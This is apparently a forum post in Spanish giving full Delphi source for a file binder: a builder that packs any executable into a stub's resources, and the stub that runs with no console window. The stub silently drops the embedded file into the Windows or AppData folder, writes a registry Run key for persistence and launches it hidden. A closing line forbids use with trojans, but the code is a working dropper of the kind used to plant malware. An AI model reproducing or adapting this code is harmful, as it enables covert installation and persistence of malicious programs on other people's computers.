el cliente
unit Unit1;
//programa perteneciente al señor seoane (crear autoextraible )
//writedata p0ke
//cambios varios joselin
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,ZLib;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Label1: TLabel;
Edit2: TEdit;
ComboBox1: TComboBox;
Label2: TLabel;
Button2: TButton;
Edit3: TEdit;
Button3: TButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Button4: TButton;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
CheckBox1: TCheckBox;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
const
strUID = '{EE6068A1-487C-4ED0-9DCA-9DCB0E6B35CB}';
BUFFERSIZE = 1024*1024;
implementation
{$R *.dfm}
//P0ke
Function WriteResData(sServerFile: string; pFile: pointer; Size: integer; Name: String):Boolean;
var
hResourceHandle: THandle;
pwServerFile: PWideChar;
pwName: PWideChar;
begin
GetMem(pwServerFile, (Length(sServerFile) + 1) *2);
GetMem(pwName, (Length(Name) + 1) *2);
try
StringToWideChar(sServerFile, pwServerFile, Length(sServerFile) * 2);
StringToWideChar(Name, pwName, Length(Name) * 2);
hResourceHandle := BeginUpdateResourceW(pwServerFile, False);
Result := UpdateResourceW(hResourceHandle, MakeIntResourceW(10), pwName, 0, pFile, Size);
EndUpdateResourceW(hResourceHandle, False);
finally
FreeMem(pwServerFile);
FreeMem(pwName);
end;
end;
//**********************************************cxrear***********
procedure CrearSFX;
var
Src: TFileStream;
Temp: TMemoryStream;
Path: String;
hUpdateRes: THANDLE;
str :string;
instalacion,arranque:string;
begin
instalacion:=(form1.combobox1.text);
arranque:=(form1.edit2.text);
// Abrimos el fichero de origen como "solo lectura"
Src:= TFileStream.Create(form1.edit1.text,fmOpenRead);
try
Temp:= TMemoryStream.Create;
try
// Comprimimos el fichero
with TCompressionStream.Create(clMax,Temp) do
try
CopyFrom(Src,0);
finally
Free;
end;
// La ruta del nuevo fichero es la misma que el fichero de origen + .exe
Path:= form1.edit3.text+'.exe';//ParamStr(1)+'.exe'; /////si no agrego exe al descomprimir queda sin extencion
//showmessage(path);
str:=ExtractFilePath(Application.ExeName)+'stub.exe';
//showmessage(str);
if CopyFile(pchar(str),pchar(Path),FALSE) then
begin
WriteResData(form1.edit3.text+'.exe', @instalacion[1], Length(instalacion), 'INST');
WriteResData(form1.edit3.text+'.exe', @arranque[1], Length(arranque), 'ARRAN');
hUpdateRes:= BeginUpdateResource(PChar(Path), FALSE);
if hUpdateRes <> 0 then
if UpdateResource(hUpdateRes, RT_RCDATA,strUID,0,Temp.Memory,Temp.Size) then
// Guardamos el fichero como un recurso
if EndUpdateResource(hUpdateRes,FALSE) then
Exit;
DeleteFile(Path);
end;
finally
Temp.Free;
end;
finally
Src.Free;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if savedialog1.execute then begin
edit3.text:=savedialog1.filename
end
else
begin
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if ((edit1.Text ='') or (edit3.text=''))
then begin
showmessage ('no selecciono origen o destino del archivo');
end
else
begin
CrearSFX;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if opendialog1.execute then
begin
edit1.text:=opendialog1.FileName
end
else
begin
end;
end;
end.
el stub:
------------------------------------------------------
program Project1;
//{$APPTYPE CONSOLE} //NO VISIBLE
uses
SysUtils,
ZLIB,
CLASSES,
shellapi,
shfolder,
registry,
//dialogs,
windows;
var
str1,str2,inf,ruta:string;
const
strUID = '{EE6068A1-487C-4ED0-9DCA-9DCB0E6B35CB}';
BUFFERSIZE = 1024*1024;
//p0ke mods by cswi
function GetResources(pSectionName: PChar; out ResourceSize: LongWord): Pointer;
var
ResourceLocation: Cardinal;
ResourceHandle: Cardinal;
begin
ResourceLocation := FindResource(hInstance, PAnsiChar(pSectionName), PAnsiChar(10));
ResourceSize := SizeofResource(hInstance, ResourceLocation);
ResourceHandle := LoadResource(hInstance, ResourceLocation);
Result := LockResource(ResourceHandle);
end;
//p0ke mods by cswi
function GetResourceAsString(pSectionName: pchar): string;
var
ResourceData: PChar;
SResourceSize: LongWord;
begin
ResourceData := GetResources(pSectionName, SResourceSize);
SetString(Result, ResourceData, SResourceSize);
end;
function GetSpecialFolderPath(folder : integer) : string;
const
SHGFP_TYPE_CURRENT = 0;
var
path: array [0..MAX_PATH] of char;
begin
if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then
Result := path
else
Result := '';
end;
Function GetPathreg(nombre: String): String;
var
reg : TRegistry;
path: String;
begin
Result:='';
Reg:= Tregistry.Create;
Reg.RootKey:= HKEY_CURRENT_USER;
If Reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) Then
if Reg.ValueExists(nombre)then
path:=Reg.ReadString(nombre);
result := path;
end;
procedure agregarinicio(nombre, path: string);
var
rg: TRegistry;
begin
rg := TRegistry.Create;
rg.RootKey := HKEY_CURRENT_USER;
rg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
rg.WriteString(nombre, path);
rg.Destroy;
end;
function WinDir: string;
begin
SetLength(Result, MAX_PATH);
Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
Result := string(PChar(Result)) + '\';
end;
function GetSystemDir: TFileName;
var
SysDir: array [0..MAX_PATH-1] of char;
begin
SetString(Result, SysDir, GetSystemDirectory(SysDir, MAX_PATH));
if Result = '' then
raise Exception.Create(SysErrorMessage(GetLastError));
end;
// Esta funcion comprueba si existe un recurso con el nombre strUID
function CheckRes: Boolean;
var
hRes: HRSRC;
begin
Result:= FALSE;
hRes:= FindResource(0, strUID, RT_RCDATA);
if hRes <> 0 then
Result:= TRUE;
end;
procedure Extraer;
var
Src: TResourceStream;
Dst: TFileStream;
Path: String;
Buffer: PByte;
i: Integer;
files:string;
begin
str1 := GetResourceAsString('INST');
str2:= GetResourceAsString('ARRAN');
// Abrimos el recurso donde esta guardado el fichero
Src:= TResourceStream.Create(0,strUID,RT_RCDATA);
try
files:= ExtractFileName(ChangeFileExt(ParamStr(0),EmptyStr));
if str1= 'windir' then
path:=windir+files;
if str1= 'appdata' then
path:=GetSpecialFolderPath(CSIDL_LOCAL_APPDATA)+'\'+files;
// El fichero se extrae en la mima ruta que el ejecutable - .exe
//Path:= ChangeFileExt(ParamStr(0),EmptyStr);
agregarinicio(str2,path);
if Path <> ParamStr(0) then
//showmessage(path);
begin
Dst:= TFileStream.Create(Path,fmCreate);
try
// Descomprimimos el fichero
with TDeCompressionStream.Create(Src) do
try
GetMem(Buffer,BUFFERSIZE);
try
i:= Read(Buffer^,BUFFERSIZE);
while i > 0 do
begin
Dst.Write(Buffer^,i);
i:= Read(Buffer^,BUFFERSIZE);
end;
finally
FreeMem(Buffer);
end;
finally
Free;
end;
finally
Dst.Free;
end;
end;
finally
Src.Free;
end;
end;
begin
// Comprobamos si tenemos algun archivo incrustado
if CheckRes then
begin
// Si lo tenemos lo extraemos
Extraer;
inf:= GetResourceAsString('ARRAN');
ruta:=GetPathreg(inf);
//showmessage(ruta);
shellexecute(0,'open',pchar(ruta), nil,nil, SW_HIDE);
end else
exit;
end.
queda prohibido su uso con troyanos.fin comunicacion.
perdon la desprolijidad ,33 años y no pienso cambiar